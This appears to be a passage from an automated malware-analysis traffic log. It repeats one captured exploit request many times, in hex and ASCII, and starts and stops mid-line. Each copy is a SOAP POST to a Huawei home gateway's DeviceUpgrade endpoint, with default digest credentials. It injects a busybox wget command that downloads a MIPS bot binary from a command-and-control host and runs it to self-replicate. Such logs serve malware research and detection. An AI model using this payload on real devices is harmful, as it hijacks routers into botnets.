/bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 